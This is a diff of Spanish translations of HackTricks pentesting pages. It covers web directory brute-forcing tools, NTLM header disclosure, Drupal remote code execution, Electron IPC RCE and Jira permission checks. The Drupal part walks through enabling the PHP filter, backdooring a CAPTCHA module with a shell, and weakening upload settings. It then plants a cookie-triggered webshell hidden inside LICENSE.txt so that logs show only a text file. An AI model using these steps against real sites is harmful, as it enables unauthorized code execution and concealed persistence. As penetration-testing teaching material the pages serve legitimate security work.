-Comienza **fuerza bruta** desde la carpeta raíz y asegúrate de hacer fuerza bruta en **todos** los **directorios encontrados** utilizando **este método** y todos los directorios **descubiertos** por el **Spidering** (puedes hacer esta fuerza bruta **recursivamente** y añadiendo al principio de la lista de palabras utilizada los nombres de los directorios encontrados).\
+Comienza **fuerza bruta** desde la carpeta raíz y asegúrate de hacer fuerza bruta a **todos** los **directorios encontrados** utilizando **este método** y todos los directorios **descubiertos** por el **Spidering** (puedes hacer esta fuerza bruta **recursivamente** y agregando al principio de la lista de palabras utilizada los nombres de los directorios encontrados).\
 Herramientas:
 
 * **Dirb** / **Dirbuster** - Incluido en Kali, **antiguo** (y **lento**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento en comparación con las otras opciones.
 * [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: No permite certificados auto-firmados pero** permite búsqueda recursiva.
-* [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados auto-firmados, **no** tiene búsqueda **recursiva**.
+* [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados auto-firmados, **no tiene** búsqueda **recursiva**.
 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, soporta búsqueda recursiva.**
 * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 * [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
@@ -267,9 +267,9 @@ Herramientas:
 **Diccionarios recomendados:**
 
 * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
-* [**Diccionario incluido de Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
+* [**Dirsearch** diccionario incluido](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
 * [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
-* [Listas de palabras de Assetnote](https://wordlists.assetnote.io)
+* [Assetnote wordlists](https://wordlists.assetnote.io)
 * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
 * raft-large-directories-lowercase.txt
 * directory-list-2.3-medium.txt
@@ -287,7 +287,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
 
 ### Qué verificar en cada archivo encontrado
 
-* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTMLs que pueden ser propensos a tomas de control.
+* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTML que pueden ser propensos a tomas de control.
 * **Copias de seguridad de archivos**: Una vez que hayas encontrado todos los archivos, busca copias de seguridad de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar una copia de seguridad son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp y file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 * **Descubrir nuevos parámetros**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, podrías intentar buscar** parámetros ocultos en cada archivo web ejecutable.
 * _Arjun todas las listas de palabras predeterminadas:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
@@ -298,7 +298,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
 * Si estás jugando **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias nuevas líneas** y **ocultar información** en un comentario en la **parte inferior** de la página web.
 * **Claves API**: Si **encuentras alguna clave API** hay una guía que indica cómo usar claves API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
 * Claves API de Google: Si encuentras alguna clave API que se parezca a **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar a qué APIs puede acceder la clave.
-* **Buckets S3**: Mientras haces spidering, verifica si algún **subdominio** o algún **enlace** está relacionado con algún **bucket S3**. En ese caso, [**verifica** los **permisos** del bucket](buckets/).
+* **S3 Buckets**: Mientras haces spidering, verifica si algún **subdominio** o algún **enlace** está relacionado con algún **S3 bucket**. En ese caso, [**verifica** los **permisos** del bucket](buckets/).
 
 ### Hallazgos especiales
 
@@ -308,10 +308,10 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
 
 * Busca **enlaces** a otros archivos dentro de los **archivos CSS**.
 * [Si encuentras un archivo _**.git**_ se puede extraer información](git.md).
-* Si encuentras un _**.env**_ se puede encontrar información como claves API, contraseñas de bases de datos y otra información.
+* Si encuentras un _**.env**_ se pueden encontrar información como claves API, contraseñas de bases de datos y otra información.
 * Si encuentras **endpoints API** [también deberías probarlos](web-api-pentesting.md). Estos no son archivos, pero probablemente "se verán como" ellos.
 * **Archivos JS**: En la sección de spidering se mencionaron varias herramientas que pueden extraer rutas de archivos JS. Además, sería interesante **monitorear cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una vulnerabilidad potencial en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.**
-* También deberías verificar los archivos JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para encontrar si es vulnerable.
+* También deberías revisar los archivos JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para encontrar si es vulnerable.
 * **Desofuscador y desempaquetador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
 * **Beautificador de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
 * **Desofuscación de JsFuck** (javascript con caracteres:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
@@ -319,25 +319,25 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
 * En varias ocasiones necesitarás **entender expresiones regulares** utilizadas, esto será útil: [https://regex101.com/](https://regex101.com).
 * También podrías **monitorear los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad potencialmente vulnerable.
 
-**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
+**403 Prohibido/Autenticación Básica/401 No Autorizado (bypass)**
 
 {% content-ref url="403-and-401-bypasses.md" %}
 [403-and-401-bypasses.md](403-and-401-bypasses.md)
 {% endcontent-ref %}
 
-**502 Proxy Error**
+**502 Error de Proxy**
 
 Si alguna página **responde** con ese **código**, probablemente sea un **proxy mal configurado**. **Si envías una solicitud HTTP como: `GET https://google.com HTTP/1.1`** (con el encabezado de host y otros encabezados comunes), el **proxy** intentará **acceder** a _**google.com**_ **y habrás encontrado un** SSRF.
 
 **Autenticación NTLM - Divulgación de información**
 
-Si el servidor en ejecución que solicita autenticación es **Windows** o encuentras un inicio de sesión que pide tus **credenciales** (y solicita el **nombre** **de dominio**), puedes provocar una **divulgación de información**.\
+Si el servidor en ejecución solicita autenticación y es **Windows** o encuentras un inicio de sesión pidiendo tus **credenciales** (y pidiendo el **nombre de dominio**), puedes provocar una **divulgación de información**.\
 **Envía** el **encabezado**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del encabezado "WWW-Authenticate".\
 Puedes **automatizar** esto utilizando el **plugin de nmap** "_http-ntlm-info.nse_".
 
 **Redirección HTTP (CTF)**
 
-Es posible **poner contenido** dentro de una **Redirección**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección), pero algo podría estar **oculto** allí.
+Es posible **poner contenido** dentro de una **Redirección**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** allí.
 
 ### Verificación de vulnerabilidades web
 
@@ -355,9 +355,9 @@ Encuentra más información sobre vulnerabilidades web en:
 
 ### Monitorear páginas para cambios
 
-Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorear páginas por modificaciones que podrían insertar vulnerabilidades.
+Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorear páginas en busca de modificaciones que puedan insertar vulnerabilidades.
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 

network-services-pentesting/pentesting-web/drupal/drupal-rce.md

@@ -1,8 +1,8 @@
 # Drupal RCE
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -21,13 +21,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 En versiones anteriores de Drupal **(antes de la versión 8)**, era posible iniciar sesión como administrador y **habilitar el módulo `PHP filter`**, que "Permite que se evalúe el código/snippets PHP incrustados." Pero a partir de la versión 8, este módulo no se instala por defecto.
 {% endhint %}
 
-Necesitas que el **plugin php esté instalado** (verifícalo accediendo a _/modules/php_ y si devuelve un **403** entonces, **existe**, si **no se encuentra**, entonces **el plugin php no está instalado**)
+Necesitas que el **plugin php esté instalado** (verifícalo accediendo a _/modules/php_ y si devuelve un **403** entonces, **existe**, si **no se encuentra**, entonces el **plugin php no está instalado**)
 
-Ve a _Módulos_ -> (**Verificar**) _PHP Filter_ -> _Guardar configuración_
+Ve a _Modules_ -> (**Check**) _PHP Filter_ -> _Save configuration_
 
 ![](<../../../.gitbook/assets/image (247) (1).png>)
 
-Luego haz clic en _Agregar contenido_ -> Selecciona _Página básica_ o _Artículo_ -> Escribe _php shellcode en el cuerpo_ -> Selecciona _Código PHP_ en _Formato de texto_ -> Selecciona _Vista previa_
+Luego haz clic en _Add content_ -> Selecciona _Basic Page_ o _Article -_> Escribe _php shellcode en el cuerpo_ -> Selecciona _PHP code_ en _Text format_ -> Selecciona _Preview_
 
 ![](<../../../.gitbook/assets/image (338).png>)
 
@@ -41,7 +41,7 @@ curl http://drupal-site.local/node/3
 En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web después de la instalación predeterminada.
 {% endhint %}
 
-A partir de la versión **8**, el **[Módulo PHP Filter](https://www.drupal.org/project/php/releases/8.x-1.1)** **no está instalado por defecto**. Para aprovechar esta funcionalidad, tendríamos que **instalar el módulo nosotros mismos**.
+A partir de la versión **8 en adelante, el** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **módulo no está instalado por defecto**. Para aprovechar esta funcionalidad, tendríamos que **instalar el módulo nosotros mismos**.
 
 1. Descargue la versión más reciente del módulo desde el sitio web de Drupal.
 1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
@@ -55,7 +55,7 @@ A partir de la versión **8**, el **[Módulo PHP Filter](https://www.drupal.org/
 En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web después de la instalación predeterminada.
 {% endhint %}
 
-Un módulo con puerta trasera se puede crear **agregando un shell a un módulo existente**. Los módulos se pueden encontrar en el sitio web drupal.org. Elijamos un módulo como [CAPTCHA](https://www.drupal.org/project/captcha). Desplácese hacia abajo y copie el enlace para el tar.gz [archivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
+Un módulo con puerta trasera puede ser creado **agregando un shell a un módulo existente**. Los módulos se pueden encontrar en el sitio web drupal.org. Elijamos un módulo como [CAPTCHA](https://www.drupal.org/project/captcha). Desplácese hacia abajo y copie el enlace del [archivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) tar.gz.
 
 * Descargue el archivo y extraiga su contenido.
 ```
@@ -80,30 +80,30 @@ RewriteBase /
 mv shell.php .htaccess captcha
 tar cvf captcha.tar.gz captcha/
 ```
-* Asumiendo que tenemos **acceso administrativo** al sitio web, haz clic en **`Administrar`** y luego en **`Extender`** en la barra lateral. A continuación, haz clic en el botón **`+ Instalar nuevo módulo`**, y seremos llevados a la página de instalación, como `http://drupal-site.local/admin/modules/install`. Navega hasta el archivo de Captcha con puerta trasera y haz clic en **`Instalar`**.
-* Una vez que la instalación sea exitosa, navega a **`/modules/captcha/shell.php`** para ejecutar comandos.
+* Suponiendo que tenemos **acceso administrativo** al sitio web, haga clic en **`Manage`** y luego en **`Extend`** en la barra lateral. A continuación, haga clic en el botón **`+ Install new module`**, y seremos llevados a la página de instalación, como `http://drupal-site.local/admin/modules/install`. Navegue hasta el archivo comprimido de Captcha con puerta trasera y haga clic en **`Install`**.
+* Una vez que la instalación sea exitosa, navegue a **`/modules/captcha/shell.php`** para ejecutar comandos.
 
-## Puerta trasera en Drupal con sincronización de configuración <a href="#backdooring-drupal" id="backdooring-drupal"></a>
+## Backdooring Drupal con sincronización de configuración <a href="#backdooring-drupal" id="backdooring-drupal"></a>
 
 **Publicación compartida por** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
 
 ### Parte 1 (activación de _Media_ y _Media Library_)
 
-En el menú _Extender_ (/admin/modules), puedes activar lo que parecen ser plugins ya instalados. Por defecto, los plugins _Media_ y _Media Library_ no parecen estar activados, así que activémoslos.
+En el menú _Extend_ (/admin/modules), puede activar lo que parecen ser complementos ya instalados. Por defecto, los complementos _Media_ y _Media Library_ no parecen estar activados, así que activémoslos.
 
 Antes de la activación:
 
-<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
 
 Después de la activación:
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-### Parte 2 (aprovechando la función _Sincronización de configuración_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
+### Parte 2 (aprovechando la función _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
 
-Aprovecharemos la función _Sincronización de configuración_ para volcar (exportar) y subir (importar) entradas de configuración de Drupal:
+Aprovecharemos la función _Configuration synchronization_ para volcar (exportar) y subir (importar) entradas de configuración de Drupal:
 
 * /admin/config/development/configuration/single/export
 * /admin/config/development/configuration/single/import
@@ -122,7 +122,7 @@ allow_insecure_uploads: false
 ...
 
 ```
-<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 A:
 
@@ -136,11 +136,11 @@ allow_insecure_uploads: true
 ...
 
 ```
-<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 **Parchear field.field.media.document.field\_media\_document.yml**
 
-Luego, parchea la segunda entrada `file_extensions` de: 
+Luego, parchea la segunda entrada `file_extensions` de:
 
 Archivo: field.field.media.document.field\_media\_document.yml
 ```
@@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
 
 ...
 ```
-<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
 
 A:
 
@@ -166,9 +166,9 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
 ...
 
 ```
-> No lo uso en esta publicación del blog, pero se señala que es posible definir la entrada `file_directory` de manera arbitraria y que es vulnerable a un ataque de traversal de ruta (así que podemos retroceder dentro del árbol del sistema de archivos de Drupal).
+> No lo uso en esta publicación del blog, pero se señala que es posible definir la entrada `file_directory` de manera arbitraria y que es vulnerable a un ataque de traversal de ruta (por lo que podemos retroceder dentro del árbol del sistema de archivos de Drupal).
 
-<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Parte 3 (aprovechando la función _Agregar Documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
 
@@ -200,7 +200,7 @@ Porque una vez que el Webshell (que llamaremos LICENSE.txt) se coloca en el serv
 
 Simplemente porque si tomamos el siguiente archivo, por ejemplo [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (que ya está presente en el núcleo de Drupal), tenemos un archivo de 339 líneas y 17.6 KB de tamaño, que es perfecto para agregar un pequeño fragmento de código PHP en el medio (ya que el archivo es lo suficientemente grande).
 
-<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
 
 Archivo: LICENSE.txt parcheado
 ```txt
@@ -235,21 +235,21 @@ programs whose distribution conditions are different, write to the author
 
 Primero, aprovechamos la función _Agregar Documento_ (/media/add/document) para subir nuestro archivo que contiene las directivas de Apache (.htaccess).
 
-<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
 
 **Parte 3.2 (subir archivo LICENSE.txt)**
 
 Luego, aprovechamos nuevamente la función _Agregar Documento_ (/media/add/document) para subir un Webshell oculto dentro de un archivo de licencia.
 
-<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Parte 4 (interacción con el Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
 
@@ -257,21 +257,21 @@ La última parte consiste en interactuar con el Webshell.
 
 Como se muestra en la siguiente captura de pantalla, si la cookie esperada por nuestro Webshell no está definida, obtenemos el resultado subsiguiente al consultar el archivo a través de un navegador web.
 
-<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
 
 Cuando el atacante establece la cookie, puede interactuar con el Webshell y ejecutar cualquier comando que desee.
 
-<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
 
 Y como puedes ver en los registros, parece que solo se ha solicitado un archivo txt.
 
-<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
 
 Gracias por tomarte el tiempo de leer este artículo, espero que te ayude a obtener algunas shells.
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md

@@ -1,8 +1,8 @@
 # Electron contextIsolation RCE via IPC
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-Si el script de preload expone un endpoint IPC desde el archivo main.js, el proceso de renderizado podrá acceder a él y, si es vulnerable, podría ser posible un RCE.
+Si el script de preload expone un endpoint IPC desde el archivo main.js, el proceso de renderizado podrá acceder a él y, si es vulnerable, podría ser posible una RCE.
 
 **La mayoría de estos ejemplos fueron tomados de aquí** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Consulta el video para más información.
 
@@ -23,7 +23,7 @@ Si el script de preload expone un endpoint IPC desde el archivo main.js, el proc
 
 Ejemplo de [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (tienes el ejemplo completo de cómo MS Teams abusó de XSS a RCE en esas diapositivas, este es solo un ejemplo muy básico):
 
-<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ## Ejemplo 1
 
@@ -106,8 +106,8 @@ ipcRenderer.send(event, data);
 };
 ```
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

network-services-pentesting/pentesting-web/jira.md

@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -25,7 +25,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
 
 En Jira, **los privilegios pueden ser verificados** por cualquier usuario, autenticado o no, a través de los endpoints `/rest/api/2/mypermissions` o `/rest/api/3/mypermissions`. Estos endpoints revelan los privilegios actuales del usuario. Una preocupación notable surge cuando **los usuarios no autenticados tienen privilegios**, lo que indica una **vulnerabilidad de seguridad** que podría ser elegible para un **bounty**. De manera similar, **privilegios inesperados para usuarios autenticados** también destacan una **vulnerabilidad**.
 
-Una **actualización** importante se realizó el **1 de febrero de 2019**, requiriendo que el endpoint 'mypermissions' incluya un **'parámetro de permiso'**. Este requisito tiene como objetivo **mejorar la seguridad** al especificar los privilegios que se están consultando: [consúltalo aquí](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
+Una **actualización** importante se realizó el **1 de febrero de 2019**, requiriendo que el endpoint 'mypermissions' incluya un **'parámetro de permiso'**. Este requisito tiene como objetivo **mejorar la seguridad** al especificar los privilegios que se están consultando: [ver aquí](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
 
 * ADD\_COMMENTS
 * ADMINISTER
@@ -81,7 +81,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
 
 ## Plugins de Atlassian
 
-Como se indica en este [**blog**](https://cyllective.com/blog/posts/atlassian-audit-plugins), en la documentación sobre [Módulos de plugins ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) es posible verificar los diferentes tipos de plugins, como:
+Como se indica en este [**blog**](https://cyllective.com/blog/posts/atlassian-audit-plugins), en la documentación sobre [Módulos de plugin ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) es posible verificar los diferentes tipos de plugins, como:
 
 * [Módulo de Plugin REST ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Expone puntos finales de API RESTful
